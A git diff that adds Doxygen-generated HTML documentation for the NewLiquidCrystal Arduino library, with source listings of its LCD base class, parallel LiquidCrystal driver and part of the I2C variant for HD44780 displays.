Enumeration Type Documentation

+ +
+
+ + + + +
enum t_backlighPol
+
+
+
Enumerator:
+ + +
POSITIVE  +
NEGATIVE  +
+
+
+ +

Definition at line 171 of file LCD.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + +
static void waitUsec (uint16_t uSec) [inline, static]
+
+
+

Enables disables fast waits for write operations for LCD If defined, the library will avoid doing un-necessary waits. this can be done, because the time taken by Arduino's slow digitalWrite operations. If fast digitalIO operations, comment this line out or undefine the mode.

+

waits for a given time in microseconds (compilation dependent). Waits for a given time defined in microseconds depending on the FAST_MODE define. If the FAST_MODE is defined the call will return inmediatelly.

+
Parameters:
+ + +
uSec[in]time in microseconds.
+
+
+
Returns:
None
+ +

Definition at line 75 of file LCD.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h_source.html new file mode 100644 index 0000000..ec62cb8 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h_source.html @@ -0,0 +1,355 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LCD.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. This library is a refactored version of the one supplied
+
19 // in the Arduino SDK in such a way that it simplifies its extension
+
20 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR,
+
21 // The original library has been reworked in such a way that this will be
+
22 // the base class implementing all generic methods to command an LCD based
+
23 // on the Hitachi HD44780 and compatible chipsets.
+
24 //
+
25 // This base class is a pure abstract class and needs to be extended. As reference,
+
26 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+
27 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+
28 //
+
29 // The functionality provided by this class and its base class is identical
+
30 // to the original functionality of the Arduino LiquidCrystal library.
+
31 //
+
32 // @version API 1.1.0
+
33 //
+
34 //
+
35 // @author F. Malpartida - fmalpartida@gmail.com
+
36 // ---------------------------------------------------------------------------
+
37 #ifndef _LCD_H_
+
38 #define _LCD_H_
+
39 
+
40 #if (ARDUINO < 100)
+
41 #include <WProgram.h>
+
42 #else
+
43 #include <Arduino.h>
+
44 #endif
+
45 
+
46 #ifdef __AVR__
+
47 #include <avr/pgmspace.h>
+
48 #endif
+
49 
+
50 #include <inttypes.h>
+
51 #include <Print.h>
+
52 
+
53 
+
64 #ifndef _BV
+
65 #define _BV(bit) (1 << (bit))
+
66 #endif
+
67 
+
76 #ifdef __AVR__
+
77 #define FAST_MODE
+
78 #endif
+
79 
+
89 inline static void waitUsec ( uint16_t uSec )
+
90 {
+
91 #ifndef FAST_MODE
+
92  delayMicroseconds ( uSec );
+
93 #endif // FAST_MODE
+
94 }
+
95 
+
96 
+
104 // LCD Commands
+
105 // ---------------------------------------------------------------------------
+
106 #define LCD_CLEARDISPLAY 0x01
+
107 #define LCD_RETURNHOME 0x02
+
108 #define LCD_ENTRYMODESET 0x04
+
109 #define LCD_DISPLAYCONTROL 0x08
+
110 #define LCD_CURSORSHIFT 0x10
+
111 #define LCD_FUNCTIONSET 0x20
+
112 #define LCD_SETCGRAMADDR 0x40
+
113 #define LCD_SETDDRAMADDR 0x80
+
114 
+
115 // flags for display entry mode
+
116 // ---------------------------------------------------------------------------
+
117 #define LCD_ENTRYRIGHT 0x00
+
118 #define LCD_ENTRYLEFT 0x02
+
119 #define LCD_ENTRYSHIFTINCREMENT 0x01
+
120 #define LCD_ENTRYSHIFTDECREMENT 0x00
+
121 
+
122 // flags for display on/off and cursor control
+
123 // ---------------------------------------------------------------------------
+
124 #define LCD_DISPLAYON 0x04
+
125 #define LCD_DISPLAYOFF 0x00
+
126 #define LCD_CURSORON 0x02
+
127 #define LCD_CURSOROFF 0x00
+
128 #define LCD_BLINKON 0x01
+
129 #define LCD_BLINKOFF 0x00
+
130 
+
131 // flags for display/cursor shift
+
132 // ---------------------------------------------------------------------------
+
133 #define LCD_DISPLAYMOVE 0x08
+
134 #define LCD_CURSORMOVE 0x00
+
135 #define LCD_MOVERIGHT 0x04
+
136 #define LCD_MOVELEFT 0x00
+
137 
+
138 // flags for function set
+
139 // ---------------------------------------------------------------------------
+
140 #define LCD_8BITMODE 0x10
+
141 #define LCD_4BITMODE 0x00
+
142 #define LCD_2LINE 0x08
+
143 #define LCD_1LINE 0x00
+
144 #define LCD_5x10DOTS 0x04
+
145 #define LCD_5x8DOTS 0x00
+
146 
+
147 
+
148 // Define COMMAND and DATA LCD Rs (used by send method).
+
149 // ---------------------------------------------------------------------------
+
150 #define COMMAND 0
+
151 #define DATA 1
+
152 #define FOUR_BITS 2
+
153 
+
154 
+
161 #define HOME_CLEAR_EXEC 2000
+
162 
+
169 #define BACKLIGHT_OFF 0
+
170 
+
177 #define BACKLIGHT_ON 255
+
178 
+
179 
+
185 typedef enum { POSITIVE, NEGATIVE } t_backlighPol;
+
186 
+
187 class LCD : public Print
+
188 {
+
189 public:
+
190 
+
197  LCD ( );
+
198 
+
214  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
215 
+
226  void clear();
+
227 
+
239  void home();
+
240 
+
249  void noDisplay();
+
250 
+
260  void display();
+
261 
+
268  void noBlink();
+
269 
+
278  void blink();
+
279 
+
286  void noCursor();
+
287 
+
296  void cursor();
+
297 
+
305  void scrollDisplayLeft();
+
306 
+
314  void scrollDisplayRight();
+
315 
+
327  void leftToRight();
+
328 
+
340  void rightToLeft();
+
341 
+
348  void moveCursorLeft();
+
349 
+
350 
+
357  void moveCursorRight();
+
358 
+
372  void autoscroll();
+
373 
+
382  void noAutoscroll();
+
383 
+
400  void createChar(uint8_t location, uint8_t charmap[]);
+
401 
+
402 #ifdef __AVR__
+
403 
+
423  void createChar(uint8_t location, const char *charmap);
+
424 #endif // __AVR__
+
425 
+
435  void setCursor(uint8_t col, uint8_t row);
+
436 
+
444  void backlight ( void );
+
445 
+
453  void noBacklight ( void );
+
454 
+
462  void on ( void );
+
463 
+
471  void off ( void );
+
472 
+
473  //
+
474  // virtual class methods
+
475  // --------------------------------------------------------------------------
+
486  virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { };
+
487 
+
505  virtual void setBacklight ( uint8_t value ) { };
+
506 
+
518 #if (ARDUINO < 100)
+
519  virtual void write(uint8_t value);
+
520 #else
+
521  virtual size_t write(uint8_t value);
+
522 #endif
+
523 
+
524 #if (ARDUINO < 100)
+
525  using Print::write;
+
526 #else
+
527  using Print::write;
+
528 #endif
+
529 
+
530 protected:
+
531  // Internal LCD variables to control the LCD shared between all derived
+
532  // classes.
+
533  uint8_t _displayfunction; // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or
+
534  // LCD_8BITMODE, LCD_1LINE or LCD_2LINE
+
535  uint8_t _displaycontrol; // LCD base control command LCD on/off, blink, cursor
+
536  // all commands are "ored" to its contents.
+
537  uint8_t _displaymode; // Text entry mode to the LCD
+
538  uint8_t _numlines; // Number of lines of the LCD, initialized with begin()
+
539  uint8_t _cols; // Number of columns in the LCD
+
540  t_backlighPol _polarity; // Backlight polarity
+
541 
+
542 private:
+
555  void command(uint8_t value);
+
556 
+
570 #if (ARDUINO < 100)
+
571  virtual void send(uint8_t value, uint8_t mode) { };
+
572 #else
+
573  virtual void send(uint8_t value, uint8_t mode) = 0;
+
574 #endif
+
575 
+
576 };
+
577 
+
578 #endif
+
Definition: LCD.h:187
+
void createChar(uint8_t location, uint8_t charmap[])
Definition: LCD.cpp:294
+
void autoscroll()
Definition: LCD.cpp:280
+
void leftToRight()
Definition: LCD.cpp:253
+
void backlight(void)
Definition: LCD.cpp:326
+
void clear()
Definition: LCD.cpp:168
+
void on(void)
Definition: LCD.cpp:340
+
void off(void)
Definition: LCD.cpp:348
+
void noBlink()
Definition: LCD.cpp:229
+
void scrollDisplayRight()
Definition: LCD.cpp:247
+
void display()
Definition: LCD.cpp:210
+
void setCursor(uint8_t col, uint8_t row)
Definition: LCD.cpp:180
+
void rightToLeft()
Definition: LCD.cpp:260
+
void noAutoscroll()
Definition: LCD.cpp:287
+
void home()
Definition: LCD.cpp:174
+
void blink()
Definition: LCD.cpp:235
+
virtual void setBacklight(uint8_t value)
Definition: LCD.h:505
+
void moveCursorRight()
Definition: LCD.cpp:267
+
LCD()
Definition: LCD.cpp:52
+
void scrollDisplayLeft()
Definition: LCD.cpp:242
+
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LCD.cpp:79
+
void noDisplay()
Definition: LCD.cpp:204
+
void noBacklight(void)
Definition: LCD.cpp:333
+
void noCursor()
Definition: LCD.cpp:217
+
virtual void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LCD.h:486
+
void moveCursorLeft()
Definition: LCD.cpp:273
+
virtual void write(uint8_t value)
Definition: LCD.cpp:362
+
void cursor()
Definition: LCD.cpp:222
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp.html new file mode 100644 index 0000000..a1244e6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp.html @@ -0,0 +1,173 @@ + + + + +LCD Library: LiquidCrystal.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define LCD_4BIT   1
#define LCD_8BIT   0
#define LCD_NOBACKLIGHT   0xFF
+

Define Documentation

+ +
+
+ + + + +
#define LCD_4BIT   1
+
+
+ +

Definition at line 45 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_8BIT   0
+
+
+ +

Definition at line 46 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0xFF
+
+
+ +

Definition at line 42 of file LiquidCrystal.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp_source.html new file mode 100644 index 0000000..2103f80 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8cpp_source.html @@ -0,0 +1,410 @@ + + + + +LCD Library: LiquidCrystal.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+00021 // the LCD (4 bit and 8 bit).
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 // @author F. Malpartida - fmalpartida@gmail.com
+00028 // ---------------------------------------------------------------------------
+00029 #include <stdio.h>
+00030 #include <string.h>
+00031 #include <inttypes.h>
+00032 
+00033 #if (ARDUINO <  100)
+00034 #include <WProgram.h>
+00035 #else
+00036 #include <Arduino.h>
+00037 #endif
+00038 #include "LiquidCrystal.h"
+00039 
+00040 // CONSTANT  definitions
+00041 // ---------------------------------------------------------------------------
+00042 #define LCD_NOBACKLIGHT 0xFF
+00043 
+00044 // LCD driver configuration (4bit or 8bit driver control)
+00045 #define LCD_4BIT                1
+00046 #define LCD_8BIT                0
+00047 
+00048 // STATIC helper functions
+00049 // ---------------------------------------------------------------------------
+00050 
+00051 
+00052 // CONSTRUCTORS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00056                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00057                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00058 {
+00059    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00060 }
+00061 
+00062 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00063                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00064                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00065 {
+00066    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00067 }
+00068 
+00069 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00070                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00071 {
+00072    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00073 }
+00074 
+00075 LiquidCrystal::LiquidCrystal(uint8_t rs,  uint8_t enable,
+00076                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00077 {
+00078    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00079 }
+00080 
+00081 // Contructors with backlight control
+00082 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00083                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00084                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00085                              uint8_t backlightPin, t_backlighPol pol)
+00086 {
+00087    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00088    setBacklightPin ( backlightPin, pol );
+00089 }
+00090 
+00091 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00092                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00093                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00094                              uint8_t backlightPin, t_backlighPol pol)
+00095 {
+00096    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00097    setBacklightPin ( backlightPin, pol );
+00098 }
+00099 
+00100 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00101                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00102                              uint8_t backlightPin, t_backlighPol pol)
+00103 {
+00104    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00105    setBacklightPin ( backlightPin, pol );
+00106 }
+00107 
+00108 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00109                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00110                              uint8_t backlightPin, t_backlighPol pol)
+00111 {
+00112    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00113    setBacklightPin ( backlightPin, pol );
+00114 }
+00115 
+00116 // PUBLIC METHODS
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 /************ low level data pushing commands **********/
+00120 //
+00121 // send
+00122 void LiquidCrystal::send(uint8_t value, uint8_t mode) 
+00123 {
+00124    // Only interested in COMMAND or DATA
+00125    digitalWrite( _rs_pin, ( mode == DATA ) );
+00126    
+00127    // if there is a RW pin indicated, set it low to Write
+00128    // ---------------------------------------------------
+00129    if (_rw_pin != 255) 
+00130    { 
+00131       digitalWrite(_rw_pin, LOW);
+00132    }
+00133    
+00134    if ( mode != FOUR_BITS )
+00135    {   
+00136       if ( (_displayfunction & LCD_8BITMODE ) )
+00137       {
+00138          writeNbits(value, 8); 
+00139       } 
+00140       else 
+00141       {
+00142          writeNbits ( value >> 4, 4 );
+00143          writeNbits ( value, 4 );
+00144       }
+00145    } 
+00146    else 
+00147    {
+00148       writeNbits ( value, 4 );
+00149    }
+00150    waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD
+00151 }
+00152 
+00153 //
+00154 // setBacklightPin
+00155 void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00156 {
+00157    pinMode ( pin, OUTPUT );       // Difine the backlight pin as output
+00158    _backlightPin = pin;
+00159    _polarity = pol;
+00160    setBacklight(BACKLIGHT_OFF);   // Set the backlight low by default
+00161 }
+00162 
+00163 //
+00164 // setBackligh
+00165 void LiquidCrystal::setBacklight ( uint8_t value )
+00166 {
+00167    // Check if there is a pin assigned to the backlight
+00168    // ---------------------------------------------------
+00169    if ( _backlightPin != LCD_NOBACKLIGHT )
+00170    {
+00171       // Check if the pin is associated to a timer, i.e. PWM
+00172       // ---------------------------------------------------
+00173       if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER)
+00174       {
+00175          // Check for control polarity inversion
+00176          // ---------------------------------------------------
+00177          if ( _polarity == POSITIVE )
+00178          {
+00179             analogWrite ( _backlightPin, value );
+00180          }
+00181          else 
+00182          {
+00183             analogWrite ( _backlightPin, 255 - value );
+00184          }
+00185       }
+00186       // Not a PWM pin, set the backlight pin for POSI or NEG
+00187       // polarity
+00188       // --------------------------------------------------------
+00189       else if (((value > 0) && (_polarity == POSITIVE)) ||
+00190                ((value == 0) && (_polarity == NEGATIVE)))
+00191       {
+00192          digitalWrite( _backlightPin, HIGH);
+00193       }
+00194       else
+00195       {
+00196          digitalWrite( _backlightPin, LOW);
+00197       }
+00198    }
+00199 }
+00200 
+00201 // PRIVATE METHODS
+00202 // ---------------------------------------------------------------------------
+00203 
+00204 
+00205 // init
+00206 void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+00207                          uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00208                          uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00209 {
+00210    uint8_t i;
+00211    
+00212    // Initialize the IO pins
+00213    // -----------------------
+00214    
+00215    _rs_pin = rs;
+00216    _rw_pin = rw;
+00217    _enable_pin = enable;
+00218    
+00219    _data_pins[0] = d0;
+00220    _data_pins[1] = d1;
+00221    _data_pins[2] = d2;
+00222    _data_pins[3] = d3; 
+00223    _data_pins[4] = d4;
+00224    _data_pins[5] = d5;
+00225    _data_pins[6] = d6;
+00226    _data_pins[7] = d7;
+00227    
+00228    // Initialize the IO port direction to OUTPUT
+00229    // ------------------------------------------
+00230    
+00231    for ( i = 0; i < 4; i++ )
+00232    {
+00233       pinMode ( _data_pins[i], OUTPUT );
+00234    }
+00235    
+00236    // Initialize the rest of the ports if it is an 8bit controlled LCD
+00237    // ----------------------------------------------------------------
+00238    
+00239    if ( !fourbitmode )
+00240    {
+00241       for ( i = 4; i < 8; i++ )
+00242       {
+00243          pinMode ( _data_pins[i], OUTPUT );
+00244       }
+00245    }
+00246    pinMode(_rs_pin, OUTPUT);
+00247    
+00248    // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin#
+00249    if (_rw_pin != 255) 
+00250    { 
+00251       pinMode(_rw_pin, OUTPUT);
+00252    }
+00253    
+00254    pinMode(_enable_pin, OUTPUT);
+00255    
+00256    // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS
+00257    // -------------------------------------------------------------------------
+00258    if (fourbitmode)
+00259       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00260    else 
+00261       _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00262    
+00263    // Now we pull both RS and R/W low to begin commands
+00264    digitalWrite(_rs_pin, LOW);
+00265    digitalWrite(_enable_pin, LOW);
+00266    
+00267    if (_rw_pin != 255) 
+00268    { 
+00269       digitalWrite(_rw_pin, LOW);
+00270    }
+00271    
+00272    // Initialise the backlight pin no nothing
+00273    _backlightPin = LCD_NOBACKLIGHT;
+00274    _polarity = POSITIVE;
+00275 }
+00276 
+00277 //
+00278 // pulseEnable
+00279 void LiquidCrystal::pulseEnable(void) 
+00280 {
+00281    // There is no need for the delays, since the digitalWrite operation
+00282    // takes longer.
+00283    digitalWrite(_enable_pin, HIGH);   
+00284    waitUsec(1);          // enable pulse must be > 450ns   
+00285    digitalWrite(_enable_pin, LOW);
+00286 }
+00287 
+00288 //
+00289 // write4bits
+00290 void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) 
+00291 {
+00292    for (uint8_t i = 0; i < numBits; i++) 
+00293    {
+00294       digitalWrite(_data_pins[i], (value >> i) & 0x01);
+00295    }
+00296    pulseEnable();
+00297 }
+00298 
+00299 
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h.html new file mode 100644 index 0000000..b5a4389 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h.html @@ -0,0 +1,144 @@ + + + + +LCD Library: LiquidCrystal.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  LiquidCrystal

+Defines

#define EXEC_TIME   37
+

Define Documentation

+ +
+
+ + + + +
#define EXEC_TIME   37
+
+
+

Command execution time on the LCD. This defines how long a command takes to execute by the LCD. The time is expressed in micro-seconds.

+ +

Definition at line 42 of file LiquidCrystal.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h_source.html new file mode 100644 index 0000000..ef3cd8c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal_8h_source.html @@ -0,0 +1,195 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+
21 // the LCD (4 bit and 8 bit).
+
22 //
+
23 //
+
24 //
+
25 // @author F. Malpartida - fmalpartida@gmail.com
+
26 // ---------------------------------------------------------------------------
+
27 #ifndef LiquidCrystal_4bit_h
+
28 #define LiquidCrystal_4bit_h
+
29 
+
30 #include <inttypes.h>
+
31 
+
32 #include "LCD.h"
+
33 #include "FastIO.h"
+
34 
+
35 
+
42 #define EXEC_TIME 37
+
43 
+
44 class LiquidCrystal : public LCD
+
45 {
+
46 public:
+
53  LiquidCrystal(uint8_t rs, uint8_t enable,
+
54  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
55  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
56  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
57  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
58  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
59 
+
60  // Constructors with backlight control
+
61  LiquidCrystal(uint8_t rs, uint8_t enable,
+
62  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
63  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
64  uint8_t backlightPin, t_backlighPol pol);
+
65  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
66  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
67  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
68  uint8_t backlightPin, t_backlighPol pol);
+
75  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
76  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+
77  LiquidCrystal(uint8_t rs, uint8_t enable,
+
78  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+
79 
+
80  // Constructors with backlight control
+
81  LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+
82  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
83  uint8_t backlightPin, t_backlighPol pol);
+
84  LiquidCrystal(uint8_t rs, uint8_t enable,
+
85  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
86  uint8_t backlightPin, t_backlighPol pol);
+
99  virtual void send(uint8_t value, uint8_t mode);
+
100 
+
109  void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+
110 
+
125  void setBacklight ( uint8_t value );
+
126 
+
127 private:
+
128 
+
134  void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+
135  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+
136  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+
137 
+
144  void writeNbits(uint8_t value, uint8_t numBits);
+
145 
+
152  void pulseEnable();
+
153 
+
154  uint8_t _rs_pin; // LOW: command. HIGH: character.
+
155  uint8_t _rw_pin; // LOW: write to LCD. HIGH: read from LCD.
+
156  uint8_t _enable_pin; // activated by a HIGH pulse.
+
157  uint8_t _data_pins[8]; // Data pins.
+
158  uint8_t _backlightPin; // Pin associated to control the LCD backlight
+
159 };
+
160 
+
161 #endif
+
Definition: LCD.h:187
+
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
Definition: LiquidCrystal.cpp:55
+
Definition: LiquidCrystal.h:44
+
void setBacklight(uint8_t value)
Definition: LiquidCrystal.cpp:165
+
void setBacklightPin(uint8_t pin, t_backlighPol pol)
Definition: LiquidCrystal.cpp:155
+
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal.cpp:122
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp.html new file mode 100644 index 0000000..1e2f1b7 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8cpp.html @@ -0,0 +1,274 @@ + + + + +LCD Library: LiquidCrystal_I2C.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LiquidCrystal_I2C.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include "I2CIO.h"
+#include "LiquidCrystal_I2C.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   6
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   4
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

